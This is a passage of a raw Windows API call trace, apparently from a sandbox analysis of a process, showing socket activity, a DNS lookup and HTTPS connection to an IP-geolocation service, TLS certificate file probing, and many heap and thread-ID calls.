lpString1="GMT", cchCount1=3, lpString2="AMT", cchCount2=3) returned 3 [0119.321] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="GMT", cchCount1=3, lpString2="ART", cchCount2=3) returned 3 [0119.321] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="GMT", cchCount1=3, lpString2="AST", cchCount2=3) returned 3 [0119.321] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="GMT", cchCount1=3, lpString2="AST", cchCount2=3) returned 3 [0119.321] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="GMT", cchCount1=3, lpString2="AWDT", cchCount2=4) returned 3 [0119.321] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="GMT", cchCount1=3, lpString2="AWST", cchCount2=4) returned 3 [0119.321] GetTimeZoneInformation (in: lpTimeZoneInformation=0x18fa84 | out: lpTimeZoneInformation=0x18fa84) returned 0x2 [0119.321] LoadStringW (in: hInstance=0x400000, uID=0xfea1, lpBuffer=0x18db44, cchBufferMax=4096 | out: lpBuffer="Chunk Started") returned 0xd [0119.321] GetTickCount64 () returned 0x11508d7 [0119.322] GetTickCount64 () returned 0x11508d7 [0119.322] GetTickCount64 () returned 0x11508e7 [0119.322] select (in: nfds=0, readfds=0x18f8e4, writefds=0x0, exceptfds=0x0, timeout=0x0 | out: readfds=0x18f8e4, writefds=0x0, exceptfds=0x0) returned 1 [0119.322] SetLastError (dwErrCode=0x0) [0119.322] SetLastError (dwErrCode=0x0) [0119.322] WSASetLastError (iError=0) [0119.322] recv (in: s=0x12c, buf=0x2d518fb, len=5, flags=0 | out: buf=0x2d518fb*) returned 5 [0119.322] SetLastError (dwErrCode=0x0) [0119.322] WSASetLastError (iError=0) [0119.322] recv (in: s=0x12c, buf=0x2d51900, len=29, flags=0 | out: buf=0x2d51900*) returned 29 [0119.322] GetTickCount64 () returned 0x11508e7 [0119.322] select (in: nfds=0, readfds=0x18fa58, writefds=0x0, exceptfds=0x0, timeout=0x18fa40*(tv_sec=0, tv_usec=0) | out: readfds=0x18fa58, writefds=0x0, exceptfds=0x0) returned 0 [0119.322] select (in: nfds=0, readfds=0x18fa58, writefds=0x0, exceptfds=0x0, timeout=0x18fa40*(tv_sec=0, tv_usec=0) | out: readfds=0x18fa58, writefds=0x0, exceptfds=0x0) returned 0 [0119.323] WSASetLastError (iError=0) [0119.323] send (s=0x12c, buf=0x2d409d3*, len=31, flags=0) returned 31 [0119.323] shutdown (s=0x12c, how=1) returned 0 [0119.324] closesocket (s=0x12c) returned 0 [0119.324] socket (af=2, type=1, protocol=0) returned 0x12c [0119.324] getsockopt (in: s=0x12c, level=65535, optname=4104, optval=0x18facc, optlen=0x18fac8 | out: optval="\x01", optlen=0x18fac8) returned 0 [0119.324] getsockopt (in: s=0x12c, level=6, optname=1, optval=0x18facc, optlen=0x18fac8 | out: optval="", optlen=0x18fac8) returned 0 [0119.324] setsockopt (s=0x12c, level=65535, optname=4, optval="", optlen=4) returned 0 [0119.324] htons (hostshort=0x0) returned 0x0 [0119.324] bind (s=0x12c, addr=0x18fa24*(sa_family=2, sin_port=0x0, sin_addr="0.0.0.0"), namelen=16) returned 0 [0119.324] getsockname (in: s=0x12c, name=0x18fa18, namelen=0x18fa98 | out: name=0x18fa18*(sa_family=2, sin_port=0xc00b, sin_addr="0.0.0.0"), namelen=0x18fa98) returned 0 [0119.325] htons (hostshort=0xbc0) returned 0xc00b [0119.325] IdnToAscii (in: dwFlags=0x0, lpUnicodeCharStr="api.db-ip.com", cchUnicodeChar=13, lpASCIICharStr=0x0, cchASCIIChar=0 | out: lpASCIICharStr=0x0) returned 13 [0119.325] IdnToAscii (in: dwFlags=0x0, lpUnicodeCharStr="api.db-ip.com", cchUnicodeChar=13, lpASCIICharStr=0x80f9cc, cchASCIIChar=13 | out: lpASCIICharStr="api.db-ip.com") returned 13 [0119.325] GetAddrInfoW (in: pNodeName="api.db-ip.com", pServiceName=0x0, pHints=0x18facc*(ai_flags=0, ai_family=2, ai_socktype=1, ai_protocol=0, ai_addrlen=0x0, ai_canonname=0x0, ai_addr=0x0, ai_next=0x0), ppResult=0x18faec | out: ppResult=0x18faec*=0x2b94870*(ai_flags=0, ai_family=2, ai_socktype=1, ai_protocol=0, ai_addrlen=0x10, ai_canonname=0x0, ai_addr=0x2b949e0*(sa_family=2, sin_port=0x0, sin_addr="104.26.4.15"), ai_next=0x2b949f8*(ai_flags=0, ai_family=2, ai_socktype=1, ai_protocol=0, ai_addrlen=0x10, ai_canonname=0x0, ai_addr=0x2b94a20*(sa_family=2, sin_port=0x0, sin_addr="104.26.5.15"), ai_next=0x0))) returned 0 [0119.325] FreeAddrInfoW (pAddrInfo=0x2b94870*(ai_flags=0, ai_family=2, ai_socktype=1, ai_protocol=0, ai_addrlen=0x10, ai_canonname=0x0, ai_addr=0x2b949e0*(sa_family=2, sin_port=0x0, sin_addr="104.26.4.15"), ai_next=0x2b949f8*(ai_flags=0, ai_family=2, ai_socktype=1, ai_protocol=0, ai_addrlen=0x10, ai_canonname=0x0, ai_addr=0x2b94a20*(sa_family=2, sin_port=0x0, sin_addr="104.26.5.15"), ai_next=0x0))) [0119.326] htons (hostshort=0x1bb) returned 0xbb01 [0119.326] connect (s=0x12c, name=0x18fa7c*(sa_family=2, sin_port=0x1bb, sin_addr="104.26.4.15"), namelen=16) returned 0 [0119.347] getsockname (in: s=0x12c, name=0x18fa64, namelen=0x18fae4 | out: name=0x18fa64*(sa_family=2, sin_port=0xc00b, sin_addr="192.168.0.156"), namelen=0x18fae4) returned 0 [0119.347] htons (hostshort=0xbc0) returned 0xc00b [0119.347] getpeername (in: s=0x12c, name=0x18fa64, namelen=0x18fae4 | out: name=0x18fa64*(sa_family=2, sin_port=0x1bb, sin_addr="104.26.4.15"), namelen=0x18fae4) returned 0 [0119.347] htons (hostshort=0xbb01) returned 0x1bb [0119.347] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x1d8) returned 0x2d24c58 [0119.347] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x180) returned 0x2a0d08 [0119.347] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x60) returned 0x2aff60 [0119.347] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2d36560 [0119.347] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x48) returned 0x2d45f98 [0119.347] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x14) returned 0x2d35ec8 [0119.347] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2d34ba0 [0119.347] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x14) returned 0x2d360c8 [0119.347] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2d34bb8 [0119.347] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x30) returned 0x2d253a0 [0119.347] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x1c) returned 0x2d4a2b8 [0119.347] GetCurrentThreadId () returned 0x9fc [0119.347] GetCurrentThreadId () returned 0x9fc [0119.347] GetCurrentThreadId () returned 0x9fc [0119.347] GetCurrentThreadId () returned 0x9fc [0119.347] GetCurrentThreadId () returned 0x9fc [0119.347] GetCurrentThreadId () returned 0x9fc [0119.347] GetCurrentThreadId () returned 0x9fc [0119.348] GetCurrentThreadId () returned 0x9fc [0119.348] GetCurrentThreadId () returned 0x9fc [0119.348] GetCurrentThreadId () returned 0x9fc [0119.348] GetCurrentThreadId () returned 0x9fc [0119.348] GetCurrentThreadId () returned 0x9fc [0119.348] GetCurrentThreadId () returned 0x9fc [0119.348] GetCurrentThreadId () returned 0x9fc [0119.348] GetCurrentThreadId () returned 0x9fc [0119.348] GetCurrentThreadId () returned 0x9fc [0119.348] GetCurrentThreadId () returned 0x9fc [0119.348] GetCurrentThreadId () returned 0x9fc [0119.348] GetCurrentThreadId () returned 0x9fc [0119.348] GetCurrentThreadId () returned 0x9fc [0119.348] GetCurrentThreadId () returned 0x9fc [0119.348] GetCurrentThreadId () returned 0x9fc [0119.348] GetCurrentThreadId () returned 0x9fc [0119.348] GetCurrentThreadId () returned 0x9fc [0119.348] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x9c4) returned 0x2d4aea0 [0119.348] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x404) returned 0x2d24e80 [0119.348] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2d24e80 | out: hHeap=0x2a0000) returned 1 [0119.348] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x348) returned 0x2d24e80 [0119.348] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2d24e80 | out: hHeap=0x2a0000) returned 1 [0119.348] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x14) returned 0x2d36188 [0119.348] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2d34b40 [0119.348] RtlReAllocateHeap (Heap=0x2a0000, Flags=0x0, Ptr=0x2d34b40, Size=0x20) returned 0x2d4a2e0 [0119.348] RtlReAllocateHeap (Heap=0x2a0000, Flags=0x0, Ptr=0x2d4a2e0, Size=0x40) returned 0x2d365f0 [0119.348] RtlReAllocateHeap (Heap=0x2a0000, Flags=0x0, Ptr=0x2d365f0, Size=0x80) returned 0x2d4ead8 [0119.348] RtlReAllocateHeap (Heap=0x2a0000, Flags=0x0, Ptr=0x2d4ead8, Size=0x100) returned 0x2d59000 [0119.348] RtlReAllocateHeap (Heap=0x2a0000, Flags=0x0, Ptr=0x2d59000, Size=0x200) returned 0x2d37690 [0119.348] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2d4aea0 | out: hHeap=0x2a0000) returned 1 [0119.348] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x14) returned 0x2d35ea8 [0119.348] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2d34b40 [0119.348] RtlReAllocateHeap (Heap=0x2a0000, Flags=0x0, Ptr=0x2d34b40, Size=0x200) returned 0x2d37488 [0119.348] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x30) returned 0x2d253d8 [0119.349] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x1c) returned 0x2d4a2e0 [0119.349] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x14) returned 0x2d36128 [0119.349] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2d34b40 [0119.349] GetCurrentThreadId () returned 0x9fc [0119.349] GetCurrentThreadId () returned 0x9fc [0119.349] GetCurrentThreadId () returned 0x9fc [0119.349] GetCurrentThreadId () returned 0x9fc [0119.349] GetCurrentThreadId () returned 0x9fc [0119.349] GetCurrentThreadId () returned 0x9fc [0119.349] GetCurrentThreadId () returned 0x9fc [0119.349] GetCurrentThreadId () returned 0x9fc [0119.349] GetCurrentThreadId () returned 0x9fc [0119.349] GetCurrentThreadId () returned 0x9fc [0119.349] GetCurrentThreadId () returned 0x9fc [0119.349] GetCurrentThreadId () returned 0x9fc [0119.349] GetCurrentThreadId () returned 0x9fc [0119.349] GetCurrentThreadId () returned 0x9fc [0119.349] GetCurrentThreadId () returned 0x9fc [0119.349] GetCurrentThreadId () returned 0x9fc [0119.349] GetCurrentThreadId () returned 0x9fc [0119.349] GetCurrentThreadId () returned 0x9fc [0119.349] GetCurrentThreadId () returned 0x9fc [0119.349] GetCurrentThreadId () returned 0x9fc [0119.349] GetCurrentThreadId () returned 0x9fc [0119.349] GetCurrentThreadId () returned 0x9fc [0119.349] GetCurrentThreadId () returned 0x9fc [0119.349] GetCurrentThreadId () returned 0x9fc [0119.349] GetCurrentThreadId () returned 0x9fc [0119.349] GetCurrentThreadId () returned 0x9fc [0119.349] GetCurrentThreadId () returned 0x9fc [0119.349] GetCurrentThreadId () returned 0x9fc [0119.349] GetCurrentThreadId () returned 0x9fc [0119.349] GetCurrentThreadId () returned 0x9fc [0119.349] GetCurrentThreadId () returned 0x9fc [0119.350] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x64) returned 0x2d4a0a0 [0119.350] GetCurrentThreadId () returned 0x9fc [0119.350] GetCurrentThreadId () returned 0x9fc [0119.350] GetCurrentThreadId () returned 0x9fc [0119.350] GetCurrentThreadId () returned 0x9fc [0119.350] GetCurrentThreadId () returned 0x9fc [0119.350] GetCurrentThreadId () returned 0x9fc [0119.350] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2d4a0a0 | out: hHeap=0x2a0000) returned 1 [0119.350] GetCurrentThreadId () returned 0x9fc [0119.350] GetCurrentThreadId () returned 0x9fc [0119.350] GetCurrentThreadId () returned 0x9fc [0119.350] GetCurrentThreadId () returned 0x9fc [0119.350] GetCurrentThreadId () returned 0x9fc [0119.350] GetCurrentThreadId () returned 0x9fc [0119.350] GetCurrentThreadId () returned 0x9fc [0119.350] GetCurrentThreadId () returned 0x9fc [0119.350] GetCurrentThreadId () returned 0x9fc [0119.350] GetCurrentThreadId () returned 0x9fc [0119.350] GetCurrentThreadId () returned 0x9fc [0119.350] GetCurrentThreadId () returned 0x9fc [0119.350] GetCurrentThreadId () returned 0x9fc [0119.350] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x64) returned 0x2d4a0a0 [0119.350] GetCurrentThreadId () returned 0x9fc [0119.350] GetCurrentThreadId () returned 0x9fc [0119.350] GetCurrentThreadId () returned 0x9fc [0119.350] GetCurrentThreadId () returned 0x9fc [0119.350] GetCurrentThreadId () returned 0x9fc [0119.350] GetCurrentThreadId () returned 0x9fc [0119.350] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2d4a0a0 | out: hHeap=0x2a0000) returned 1 [0119.350] GetCurrentThreadId () returned 0x9fc [0119.350] GetCurrentThreadId () returned 0x9fc [0119.350] GetCurrentThreadId () returned 0x9fc [0119.350] GetCurrentThreadId () returned 0x9fc [0119.350] GetCurrentThreadId () returned 0x9fc [0119.350] GetCurrentThreadId () returned 0x9fc [0119.351] GetCurrentThreadId () returned 0x9fc [0119.351] GetCurrentThreadId () returned 0x9fc [0119.351] GetCurrentThreadId () returned 0x9fc [0119.351] GetCurrentThreadId () returned 0x9fc [0119.351] GetCurrentThreadId () returned 0x9fc [0119.351] GetCurrentThreadId () returned 0x9fc [0119.351] GetCurrentThreadId () returned 0x9fc [0119.351] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x64) returned 0x2d4a0a0 [0119.351] GetCurrentThreadId () returned 0x9fc [0119.351] GetCurrentThreadId () returned 0x9fc [0119.351] GetCurrentThreadId () returned 0x9fc [0119.351] GetCurrentThreadId () returned 0x9fc [0119.351] GetCurrentThreadId () returned 0x9fc [0119.351] GetCurrentThreadId () returned 0x9fc [0119.351] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2d4a0a0 | out: hHeap=0x2a0000) returned 1 [0119.351] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0xc) returned 0x2d34ac8 [0119.351] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0xc) returned 0x2d34ae0 [0119.351] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x14) returned 0x2d35f48 [0119.351] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x8, lpMultiByteStr=0x11112dc0, cbMultiByte=24, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 24 [0119.351] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x8, lpMultiByteStr=0x11112dc0, cbMultiByte=24, lpWideCharStr=0x18fa30, cchWideChar=24 | out: lpWideCharStr="/usr/local/ssl/cert.pem") returned 24 [0119.351] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x110f18d8, cbMultiByte=2, lpWideCharStr=0x18fa74, cchWideChar=8 | out: lpWideCharStr="r") returned 2 [0119.351] CreateFileW (lpFileName="/usr/local/ssl/cert.pem" (normalized: "c:\\usr\\local\\ssl\\cert.pem"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x18f8ec, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0119.352] GetLastError () returned 0x3 [0119.352] GetLastError () returned 0x3 [0119.352] CreateFileA (lpFileName="/usr/local/ssl/cert.pem" (normalized: "c:\\usr\\local\\ssl\\cert.pem"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x18f8f0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0119.352] GetLastError () returned 0x3 [0119.352] GetLastError () returned 0x3 [0119.352] RtlReAllocateHeap (Heap=0x2a0000, Flags=0x0, Ptr=0x2d35ba8, Size=0x20) returned 0x2d4a4e8 [0119.352] RtlReAllocateHeap (Heap=0x2a0000, Flags=0x0, Ptr=0x2d4a4e8, Size=0x40) returned 0x2d365f0 [0119.352] RtlReAllocateHeap (Heap=0x2a0000, Flags=0x0, Ptr=0x2d365f0, Size=0x80) returned 0x2d4ead8 [0119.352] RtlReAllocateHeap (Heap=0x2a0000, Flags=0x0, Ptr=0x2d4ead8, Size=0x100) returned 0x2d59000 [0119.352] RtlReAllocateHeap (Heap=0x2a0000, Flags=0x0, Ptr=0x2d59000, Size=0x200) returned 0x2d37898 [0119.352] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2d4aea0 | out: hHeap=0x2a0000) returned 1 [0119.352] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x14) returned 0x2d36228 [0119.352] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2d35ba8 [0119.352] RtlReAllocateHeap (Heap=0x2a0000, Flags=0x0, Ptr=0x2d35ba8, Size=0x200) returned 0x2d37aa0 [0119.352] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2d37690 | out: hHeap=0x2a0000) returned 1 [0119.352] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2d36188 | out: hHeap=0x2a0000) returned 1 [0119.352] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2d37488 | out: hHeap=0x2a0000) returned 1 [0119.352] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2d35ea8 | out: hHeap=0x2a0000) returned 1 [0119.352] setsockopt (s=0x12c, level=65535, optname=4102, optval="0u", optlen=4) returned 0 [0119.353] setsockopt (s=0x12c, level=65535, optname=4101, optval="0u", optlen=4) returned 0 [0119.353] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="m", cchCount1=1, lpString2="@", cchCount2=1) returned 3 [0119.353] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="o", cchCount1=1, lpString2="@", cchCount2=1) returned 3 [0119.353] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="c", cchCount1=1, lpString2="@", cchCount2=1) returned 3 [0119.353] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1=".", cchCount1=1, lpString2="@", cchCount2=1) returned 1 [0119.353] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="p", cchCount1=1, lpString2="@", cchCount2=1) returned 3 [0119.353] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="i", cchCount1=1, lpString2="@", cchCount2=1) returned 3 [0119.353] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="-", cchCount1=1, lpString2="@", cchCount2=1) returned 1 [0119.353] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="b", cchCount1=1, lpString2="@", cchCount2=1) returned 3 [0119.353] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="d", cchCount1=1, lpString2="@", cchCount2=1) returned 3 [0119.353] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1=".", cchCount1=1, lpString2="@", cchCount2=1) returned 1 [0119.353] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="i", cchCount1=1, lpString2="@", cchCount2=1) returned 3 [0119.353] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="p", cchCount1=1, lpString2="@", cchCount2=1) returned 3 [0119.353] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="a", cchCount1=1, lpString2="@", cchCount2=1) returned 3 [0119.353] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="e", cchCount1=1, lpString2="/", cchCount2=1) returned 3 [0119.353] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="m", cchCount1=1, lpString2="/", cchCount2=1) returned 3 [0119.353] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="a", cchCount1=1, lpString2="/", cchCount2=1) returned 3 [0119.353] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="N", cchCount1=1, lpString2="/", cchCount2=1) returned 3 [0119.353] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="y", cchCount1=1, lpString2="/", cchCount2=1) returned 3 [0119.353] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="r", cchCount1=1, lpString2="/", cchCount2=1) returned 3 [0119.353] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="t", cchCount1=1, lpString2="/", cchCount2=1) returned 3 [0119.353] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="n", cchCount1=1, lpString2="/", cchCount2=1) returned 3 [0119.353] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="u", cchCount1=1, lpString2="/", cchCount2=1) returned 3 [0119.354] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="o", cchCount1=1, lpString2="/", cchCount2=1) returned 3 [0119.354] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="c", cchCount1=1, lpString2="/", cchCount2=1) returned 3 [0119.354] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="/", cchCount1=1, lpString2="/", cchCount2=1) returned 2 [0119.354] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x1dc) returned 0x2d48998 [0119.354] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x180) returned 0x2d24e80 [0119.354] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x30) returned 0x2d25410 [0119.354] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x1c) returned 0x2d4a4e8 [0119.354] GetCurrentThreadId () returned 0x9fc [0119.354] GetCurrentThreadId () returned 0x9fc [0119.354] GetCurrentThreadId () returned 0x9fc [0119.354] GetCurrentThreadId () returned 0x9fc [0119.354] GetCurrentThreadId () returned 0x9fc [0119.354] GetCurrentThreadId () returned 0x9fc [0119.354] GetCurrentThreadId () returned 0x9fc [0119.354] GetCurrentThreadId () returned 0x9fc [0119.354] GetCurrentThreadId () returned 0x9fc [0119.354] GetCurrentThreadId () returned 0x9fc [0119.354] GetCurrentThreadId () returned 0x9fc [0119.354] GetCurrentThreadId () returned 0x9fc [0119.354] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x42c) returned 0x2d50ac0 [0119.354] GetCurrentThreadId () returned 0x9fc [0119.354] GetCurrentThreadId () returned 0x9fc [0119.354] GetCurrentThreadId () returned 0x9fc [0119.354] GetCurrentThreadId () returned 0x9fc [0119.354] GetCurrentThreadId () returned 0x9fc [0119.354] GetCurrentThreadId () returned 0x9fc [0119.354] GetCurrentThreadId () returned 0x9fc [0119.354] GetCurrentThreadId () returned 0x9fc [0119.354] GetCurrentThreadId () returned 0x9fc [0119.354] GetCurrentThreadId () returned 0x9fc [0119.354] GetCurrentThreadId () returned 0x9fc [0119.354] GetCurrentThreadId () returned 0x9fc [0119.354] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x14) returned 0x2d35ea8 [0119.354] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2d35ba8 [0119.354] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2d365f0 [0119.355] GetCurrentThreadId () returned 0x9fc [0119.355] GetCurrentThreadId () returned 0x9fc [0119.355] GetCurrentThreadId () returned 0x9fc [0119.355] GetCurrentThreadId () returned 0x9fc [0119.355] GetCurrentThreadId () returned 0x9fc [0119.355] GetCurrentThreadId () returned 0x9fc [0119.355] GetCurrentThreadId () returned 0x9fc [0119.355] GetCurrentThreadId () returned 0x9fc [0119.355] GetCurrentThreadId () returned 0x9fc [0119.355] GetCurrentThreadId () returned 0x9fc [0119.355] GetCurrentThreadId () returned 0x9fc [0119.355] GetCurrentThreadId () returned 0x9fc [0119.355] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="api.db-ip.com", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0119.355] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="api.db-ip.com", cchWideChar=13, lpMultiByteStr=0x7f30ec, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="api.db-ip.com", lpUsedDefaultChar=0x0) returned 13 [0119.355] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0xe) returned 0x2d35a10 [0119.355] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18fa90 | out: lpSystemTimeAsFileTime=0x18fa90*(dwLowDateTime=0x980ca1e0, dwHighDateTime=0x1d60051)) [0119.355] GetCurrentThreadId () returned 0x9fc [0119.355] GetCurrentThreadId () returned 0x9fc [0119.355] GetCurrentThreadId () returned 0x9fc [0119.355] GetCurrentThreadId () returned 0x9fc [0119.355] GetCurrentThreadId () returned 0x9fc [0119.355] GetCurrentThreadId () returned 0x9fc [0119.355] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x64) returned 0x2d48b80 [0119.355] GetCurrentThreadId () returned 0x9fc [0119.355] GetCurrentThreadId () returned 0x9fc [0119.355] GetCurrentThreadId () returned 0x9fc [0119.355] GetCurrentThreadId () returned 0x9fc [0119.355] GetCurrentThreadId () returned 0x9fc [0119.355] GetCurrentThreadId () returned 0x9fc [0119.355] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2d48b80 | out: hHeap=0x2a0000) returned 1 [0119.355] GetCurrentThreadId () returned 0x9fc [0119.355] GetCurrentThreadId () returned 0x9fc [0119.355] GetCurrentThreadId () returned 0x9fc [0119.355] GetCurrentThreadId () returned 0x9fc [0119.356] GetCurrentThreadId () returned 0x9fc [0119.356] GetCurrentThreadId () returned 0x9fc [0119.356] GetCurrentThreadId () returned 0x9fc [0119.356] GetCurrentThreadId () returned 0x9fc [0119.356] GetCurrentThreadId () returned 0x9fc [0119.356] GetCurrentThreadId () returned 0x9fc [0119.356] GetCurrentThreadId () returned 0x9fc [0119.356] GetCurrentThreadId () returned 0x9fc [0119.356] GetCurrentThreadId () returned 0x9fc [0119.356] GetCurrentThreadId () returned 0x9fc [0119.356] GetCurrentThreadId () returned 0x9fc [0119.356] GetCurrentThreadId () returned 0x9fc [0119.356] GetCurrentThreadId () returned 0x9fc [0119.356] GetCurrentThreadId () returned 0x9fc [0119.356] GetCurrentThreadId () returned 0x9fc [0119.356] SetLastError (dwErrCode=0x0) [0119.356] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0xc) returned 0x2d35770 [0119.356] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x5558) returned 0x2d3b470 [0119.357] GetCurrentThreadId () returned 0x9fc [0119.357] GetCurrentThreadId () returned 0x9fc [0119.357] GetCurrentThreadId () returned 0x9fc [0119.357] GetCurrentThreadId () returned 0x9fc [0119.357] GetCurrentThreadId () returned 0x9fc [0119.357] GetCurrentThreadId () returned 0x9fc [0119.357] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x4548) returned 0x2d518f8 [0119.357] GetCurrentThreadId () returned 0x9fc [0119.357] GetCurrentThreadId () returned 0x9fc [0119.357] GetCurrentThreadId () returned 0x9fc [0119.357] GetCurrentThreadId () returned 0x9fc [0119.357] GetCurrentThreadId () returned 0x9fc [0119.357] GetCurrentThreadId () returned 0x9fc [0119.357] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x44b0) returned 0x2d409d0 [0119.357] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2d36638 [0119.357] GetCurrentThreadId () returned 0x9fc [0119.357] GetCurrentThreadId () returned 0x9fc [0119.357] GetCurrentThreadId () returned 0x9fc [0119.357] GetCurrentThreadId () returned 0x9fc [0119.357] GetCurrentThreadId () returned 0x9fc [0119.357] GetCurrentThreadId () returned 0x9fc [0119.357] GetCurrentThreadId () returned 0x9fc [0119.357] GetCurrentThreadId () returned 0x9fc [0119.358] GetCurrentThreadId () returned 0x9fc [0119.358] GetCurrentThreadId () returned 0x9fc [0119.358] GetCurrentThreadId () returned 0x9fc [0119.358] GetCurrentThreadId () returned 